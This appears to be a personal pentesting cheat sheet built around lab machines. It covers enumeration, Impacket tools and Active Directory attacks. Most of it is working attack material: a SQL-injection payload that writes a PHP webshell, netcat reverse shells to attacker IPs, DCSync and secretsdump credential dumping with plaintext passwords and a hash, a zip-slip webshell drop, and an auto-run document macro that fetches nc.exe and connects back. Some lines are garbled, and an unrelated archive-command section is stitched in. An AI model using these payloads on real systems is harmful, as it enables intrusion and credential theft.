

# ***Pentest\_Buggy!***

WELCOME!

## ***HOW TO - Enumeration***

### ***Nmap Enumeration***

```
nmap -sC -sV -o nmap.txt IP
```

### ***URL BruteForce pages***

#### 1. gobuster

```
gobuster dir -u IP -w /usr/share/dirbuster/wordlists/directory-list-2.3-medium.txt -o gobuster_php.txt -x php
```

#### 2. dirb

#### 3. dirbuster

# SQL Injection

## 1. sqlmap

- Method 'Get' Attack:

- Method 'POST' Attack

I Prefer the method with Burp Suite.

Much easier and less worries.

→ Set proxy first, set Preferences->NetWork Settings->Proxy port 8080

→ Copy the POST request to a text file, I have called it search-test.txt and placed it in the sqlmap directory

→ Run sqlmap as shown here; the option -r tells sqlmap to read the search-test.txt file to get the information to attack in the POST request. -p is the parameter we are attacking.

```
./sqlmap.py -r search-test.txt -p parameterstoattack
```

## 2. Upload webshell using sqlinjection

If we test a sql vuln using this payload:

```
' union select 1, 2, 3, 4, 5, version()-- -
```

we can use union syntax to upload shell via:

```
' union select "<?php system($_GET['cmd']); ?>",2,3,4,5,6 into outfile  
'C:\\inetpub\\wwwroot\\bad.php' #
```

BUT!!! the web root path you should guess it.

Suggest use the sqlmap's brute force path to try.

# Linux

# ***Windows***

## ***Normal Enum***

1. enum4linux -a IP ( all option scan )  
enum4linux -U IP ( found user name )
2. smbmap -H IP -u username -p password  
(you could also only use the -H option)
3. smbclient -L IP  
to see if there's folder sharing

## ***Impacket Tools***

## ***Remote Execution***

1. psexec.py

2. smbexec.py
3. atexec.py
4. wmiexec.py
5. dcomexec.py

## ***Kerberos***

1. kerbrute.py

```
python kerbrute.py -domain EGOTISTICAL-BANK.LOCAL -users  
usernames.txt -password "test" -outputfile passwords.txt -dc-ip  
10.10.10.175 -threads 1000
```

2. GetTGT.py

3. GetST.py

4. GetPac.py

5. GetUserSPNs.py

6. GetNPUsers.py

```
GetNPUsers.py EGOTISTICAL-BANK.LOCAL/HugoSauna -format john -  
outputfile test.txt -dc-ip 10.10.10.175
```

7. ticketer.py

8. raiseChild.py

9. GetADUsers.py

## ***Windows Secrets***

1. secretsdump.py

2. mimikatz.py

## ***Server Tools/MiTM Attacks***

1. ntlmrelayx.py

2. karmaSMB.py

3. smbserver.py

## ***WMI***

1.wmiquery.py

2.wmipersist.py

## ***Known Vulnerabilities***

- 1.goldenPac.py
- 2.sambaPipe.py
- 3.smbrelayx.py

## ***SMB/MSRPC***

- 1.smbclient.py
- 2.addcomputer.py
- 3.getArch.py
- 4.ifmap.py
- 5.lookupsid.py
- 6.opdump.py
- 7.reg.py
- 8.rpcdump.py
- 9.samrdump.py
- 10.services.py

## ***MSSQL / TDS***

- 1.mssqlinstance.py
- 2.mssqlclient.py

## ***File Formats***

- 1.esentutl.py

2.ntfs-read.py  
3.registry-read.py

## ***Other***

1.findDelegation.py  
2.GetADUsers.py  
3.mqtt\_check.py  
4.rdp\_check.py  
5.sniff.py  
6.sniffer.py  
7.ping.py

## ***HOW TO - Reverse Shell***

## ***Pentestmonkey!!!!***

<http://pentestmonkey.net/cheat-sheet/shells/reverse-shell-cheat-sheet>

# ***(Linux) Shell***

1. upload nc first, then

server side: `nc -e /bin/sh ip 3344`

Or `nc ip 3344 -e /bin/sh`

Or `rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc ip 3344 >/tmp/f` (this one better but longer)

your kali : `nc -lnvp 3344`

# ***(Windows) Shell***

1. `evil-winrm -i ip -u 'username' -p 'password'`

2. upload nc first, then

server side: `.\nc.exe -e powershell ip 3344`

your kali : `nc -lnvp 3344`

# ***HOW TO - Privilege Escalation***

## ***Linux***



# ***Enumeration For Privilege Escalation***

Lots of commands helps with pri escalation:

<https://github.com/swisskyrepo/PayloadsAllTheThings/blob/master/Methodology%20and%20Resources/Linux%20-%20Privilege%20Escalation.md>

1. lse.sh
2. linenum.sh
3. Cronjobs
4. What file can we read ?

## ***Privilege Escalation Using PATH Variable***

Knowledge You Should Know:

<https://www.hackingarticles.in/linux-privilege-escalation-using-path-variable/>

# ***GTFOBins***

Knowledge You Should Know:  
<https://gtfobins.github.io/>

## ***Windows***

### ***Enumeration For Privilege Escalation***

<https://github.com/swisskyrepo/PayloadsAllTheThings/blob/master/Methodology%20and%20Resources/Windows%20-%20Privilege%20Escalation.md>

DefaultDomainName : EGOTISTICALBANK

DefaultUserName : EGOTISTICALBANK\svc\_loanmanager

DefaultPassword : Moneymakestheworldgoround!

#### **1. PowerUp.ps1**

```
> Import-Module .\PowerUp.ps1  
> Invoke-AllChecks | Out-File -Encoding ASCII bug_checks.txt
```

## 2. Watson

Download: <https://github.com/rasta-mouse/Watson>

First you will need to get the version of .NET being used on the target machine. You can find the installed version in `C:\windows\microsoft.net\framework\`

Next you will need to download the project from the Watson Github Page. The next steps need to be done on a Windows machine or a Windows VM using Visual Studio.

In Visual Studio, you will have the option to open a project folder. Select the Entire folder. Next On the right hand side you will see a file called `watson.sln`. Double click that to open up the project. Now you will Right click the Project Watson (step 1 in image) and select properties (step 2 in image). Under “application” (step 3), you can set the target framework to the version you would like which should be version 4.0 in our case.

## 3. winPEAS !

<https://github.com/carlospolop/privilege-escalation-awesome-scripts-suite/treeevil-winrm> -i 10.10.10.175 -u 'svc\_loanmgr' -p 'Moneymakestheworldgoround!'e/master/-winPEAS

(I download it at `/root/Desktop/windows_tool`)

→ `.\winPEASx64.exe cmd > run_result.txt`

## 4. PowerView.ps1

# ***AD Attack (Active Directory Attack)***

The Knowledge you should know:

- <https://github.com/infosecninja/AD-Attack-Defense>
- <https://github.com/swisskyrepo/PayloadsAllTheThings/blob/master/Methodology%20and%20Resources/Active%20Directory%20Attack.md>

- How to check if AD is working ?

→ run the console utility Dcdiag !

<https://activedirectorypro.com/dcdiag-check-domain-controller-health/>

→ dcdiag /s:DC1

1. Upload SharpHound.exe or SharpHound.ps1
2. Then execute SharpHound to make the .zip file we need in powershell → `cmd.exe ; .\SharpHound.exe -c all`

3. Then open BloodHound ->

(Remember open the neo4j database first)

→ neo4j start

→ bloodhound

4. Then load the .zip file to bloodhound

5. check the path you want to root

For example , if there's a GetChangeAll function could use dcsync attack.

- `lsadump::dcsync /domain:testlab.local /user:Administrator`

**OR use the secretdump.py !**

- `secretsdump.py 'EGOTISTICALBANK/-  
svc_loanmgr:Moneymakestheworldgoround!@10.10.10.175'`

6. Finally, use the new hashes to login as Administrator with wmiexec.py

→ wmiexec.py -hashes

```
aad3b435b51404eeaad3b435b51404ee:d9485863c1e9e05851aa40cbb4ab9dff
administrator@10.10.10.175
```

## ***Service Abuse***

(in RE box)

Maybe you can find it via PowerUp.ps1

```
PS C:\temp> Import-Module .\PowerUp.ps1
```

```
Import-Module .\PowerUp.ps1
```

```
PS C:\temp> Invoke-AllChecks
```

```
[*] Checking service permissions...
```

```
ServiceName      : UsoSvc
Path              : C:\tmp\nc64.exe 10.10.14.8 8181 -e cmd.exe
StartName         : LocalSystem
AbuseFunction      : Invoke-ServiceAbuse -Name 'UsoSvc'
CanRestart       : True
```

So!!!

```
Invoke-ServiceAbuse -Name UsoSvc -Command "C:\bug\nc.exe 10.10.14.133
7788 -e cmd.exe"
```

## ***Switch User In Windows***

1.

```
$pass = ConvertTo-SecureString 'l33th4x0rhector' -AsPlainText -Force
$cred = New-Object System.Management.Automation.PSCredential
('CONTROL\hector', $pass)
Invoke-Command -ComputerName sniper -Credential $cred -ScriptBlock { C:-
\tmp\nc.exe -e cmd.exe 10.10.15.82 1133 }
```

2.

```
$username = "CONTROL\hector" ; $pw = "l33th4x0rhector"
$password = $pw | ConvertTo-SecureString -AsPlainText -Force
$cred = New-Object System.Management.Automation.PSCredential -
ArgumentList $username,$password
New-PSSession -Credential $cred | Enter-PSSession
```

## ***Kill Port Process***

```
fuser -k 8000/tcp
```

## ***Start Simple HTTP Server***

```
1. pythom -m SimpleHTTPServer
```

## ***(Windows) Download Files***

```
1. wget http://myIP:port/myfile -O myfile.exe
```

```
2. (new-object
```

```
System.Net.WebClient).DownloadFile('http://ip:port/-  
file.exe', 'Path/file.exe')
```

```
3. curl http://example.org/picture.jpg -O picture.jpg
```

```
4. Invoke-WebRequest http://example.org/picture.jpg -  
O picture.jpg
```

5. Centutil.exe

<https://wsygoogol.github.io/>-

2018/12/17/%E6%94%BB%E5%87%BB%E8%80%85%E5%88%  
exe%E6%A4%8D%E5%85%A5%E6%81%B6%E6%84%8F%E8%

→ certutil.exe -decode input.txt output.exe

## ***Linux UnZip Files***

-----  
Copied from <http://note.drx.tw/2008/04/command.html>  
-----

.tar (僅打包，無壓縮)

套件名稱：tar。

打包：

```
[ jonny@linux ~ ]
```

```
$ tar cvf FileName.tar DirName
```

解包：

```
[ jonny@linux ~ ]  
$ tar xvf FileName.tar
```

.gz

套件名稱：gzip。  
壓縮

```
[ jonny@linux ~ ]  
$ gzip FileName
```

解壓縮 1：

```
[ jonny@linux ~ ]  
$ gunzip FileName.gz
```

解壓縮 2：

```
[ jonny@linux ~ ]  
$ gzip -d FileName.gz
```

.tar.gz

套件名稱：gzip。  
壓縮：

```
[ jonny@linux ~ ]  
$ tar zcvf FileName.tar.gz DirName
```



解壓縮：

```
[ jonny@linux ~ ]  
$ tar zxvf FileName.tar.gz
```

bz

壓縮：unkown。

解壓縮 1：

```
[ jonny@linux ~ ]  
$ bzip2 -d FileName.bz
```

解壓縮 2：

```
[ jonny@linux ~ ]  
$ bunzip2 FileName.bz
```

.tar.bz

壓縮：unkown。

解壓縮：

```
[ jonny@linux ~ ]  
$ tar jxvf FileName.tar.bz
```

.bz2

套件名稱：bzip2。

壓縮：

```
[ jonny@linux ~ ]  
$ bzip2 -z FileName
```

解壓縮 1：

```
[ jonny@linux ~ ]  
$ bzip2 -d FileName.bz2
```

解壓縮 2：

```
[ jonny@linux ~ ]  
$ bunzip2 FileName.bz2
```

.tar.bz2

套件名稱：bzip2。

壓縮：

```
[ jonny@linux ~ ]  
$ tar jcvf FileName.tar.bz2 DirName
```

解壓縮：

```
[ jonny@linux ~ ]  
$ tar jxvf FileName.tar.bz2
```

.tar.bz2 (parallel)

套件名稱：lbzip2。

壓縮：

```
[ jonny@linux ~ ]
```

```
$ tar -I lbzip2 -cvf FileName.tar.bz2 DirName
```

.XZ

套件名稱：xz-utils。

壓縮：

```
[ jonny@linux ~ ]
```

```
$ xz -z FileName
```

解壓縮：

```
[ jonny@linux ~ ]
```

```
$ xz -d FileName.xz
```

.tar.xz

套件名稱：xz-utils。

壓縮：

```
[ jonny@linux ~ ]
```

```
$ tar Jcvf FileName.tar.xz DirName
```

解壓縮：

```
[ jonny@linux ~ ]  
$ tar Jxvf FileName.tar.xz
```

.Z

壓縮：

```
[ jonny@linux ~ ]  
$ compress FileName
```

解壓縮：

```
[ jonny@linux ~ ]  
$ uncompress FileName.Z
```

.tar.Z

壓縮：

```
[ jonny@linux ~ ]  
$ tar Zcvf FileName.tar.Z DirName
```

解壓縮：

```
[ jonny@linux ~ ]  
$ tar Zxvf FileName.tar.Z
```

.tgz

套件名稱：gzip。

壓縮：

```
[ jonny@linux ~ ]  
$ tar zcvf FileName.tgz FileName
```

解壓縮：

```
[ jonny@linux ~ ]  
$ tar zxvf FileName.tgz
```

.tar.tgz

套件名稱：gzip。

壓縮：

```
[ jonny@linux ~ ]  
$ tar zcvf FileName.tar.tgz FileName
```

解壓縮：

```
[ jonny@linux ~ ]  
$ tar zxvf FileName.tar.tgz
```

.7z

套件名稱：p7zip-full。

壓縮：

```
[ jonny@linux ~ ]  
$ 7z a FileName.7z FileName
```

使用密碼 (PASSWORD) 壓縮：

```
[ jonny@linux ~ ]  
$ 7z a FileName.7z FileName -pPASSWORD
```

解壓縮：

```
[ jonny@linux ~ ]  
$ 7z x FileName.7z
```

.zip

套件名稱：zip。

壓縮：

```
[ jonny@linux ~ ]  
$ zip -r FileName.zip DirName
```

解壓縮：

```
[ jonny@linux ~ ]  
$ unzip FileName.zip
```

.rar

套件名稱：rar, unrar。

壓縮：

```
[ jonny@linux ~ ]  
$ rar a FileName.rar DirName
```

解壓縮 1：

```
[ jonny@linux ~ ]  
$ rar e FileName.rar
```

解壓縮 2：

```
[ jonny@linux ~ ]  
$ unrar e FileName.rar
```

解壓縮 3：在指定目錄內解壓縮。

```
[ jonny@linux ~ ]  
$ rar x FileName.rar DirName
```

.lha

套件名稱：lha。

壓縮：

```
[ jonny@linux ~ ]  
$ lha -a FileName.lha FileName
```

解壓縮：

```
[ jonny@linux ~ ]  
$ lha -e FileName.lha
```

## ***Cracking Hashes***

## ***Zip Slip Attack***

First, `mkdir -p ../../../../../../inetpub/wwwroot/blog` in our kali  
then copy the shell to path

```
root@kali:~/Desktop/htb/RE/zipslip# cp ../InsomniaShell.aspx "../../../../../../../../-  
inetpub/wwwroot/blog/"
```

then zip it

```
root@kali:~/Desktop/htb/RE/zipslip# zip -r note.zip "../../../../../../../../inetpub/-  
wwwroot/blog/InsomniaShell.aspx"
```

## ***Change Permission In Windows***

```
icaccls susvc.ps1 /grant Everyone:F
```



# ***Find File Content In LINUX***

```
find path -name "*.txt" -exec grep -H "content" {} \;
```

## ***HOW TO -Create Evil .ods File***

First, create a evil .ods file

1. msf5 > use exploit/multi/misc/openoffice\_document\_macro
2. set target 0
3. set FILENAME payload.ods
4. run

Then , You could set evil command in macro(set it to auto run when opening file)

Also, you could use the certutil to upload files.

<https://github.com/dyl00t43/ods/blob/master/odf.xml>

smt like this:

```
Sub OnLoad
  Mkdir "C:\bug"
  If Len(Dir("C:\bug", vbDirectory)) = 0 Then
    Shell("certutil.exe -urlcache -split -f 'http://-
10.10.14.132:8000/test.exe' .\nc.exe")
  End If
  Shell("certutil.exe -urlcache -split -f 'http://-
10.10.14.132:8000/nc.exe' C:\bug\nc.exe")
  Shell("C:\bug\nc.exe 10.10.14.132 3344 -e
cmd.exe")
End Sub
```